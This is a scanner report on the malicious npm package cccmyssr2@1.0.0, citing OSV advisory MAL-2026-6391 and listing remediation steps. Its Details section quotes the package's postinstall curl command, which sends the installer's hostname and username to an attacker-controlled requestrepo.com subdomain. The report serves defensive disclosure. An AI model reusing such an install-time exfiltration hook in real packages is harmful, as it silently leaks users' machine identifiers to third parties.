cccmyssr2
This report shows the evidence for cccmyssr2@1.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6391 confirms this npm version as malicious.
Advisory
MAL-2026-6391
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in cccmyssr2 (npm)
Details
On `npm install`, the package's postinstall.js executes `curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami)"`, transmitting the installer's hostname and username over plain HTTP to an attacker-controlled requestrepo.com subdomain (a known DNS/HTTP exfiltration canary service). The package otherwise has no real functionality: index.js is a trivial 3-line date stub, package.json carries placeholder metadata ("A harmless utility package", empty author). The lifecycle hook fires automatically during install without consent, leaking host identifiers to a third party. This is the standard install-time reconnaissance/exfiltration shape.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to cccmyssr2@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing cccmyssr2@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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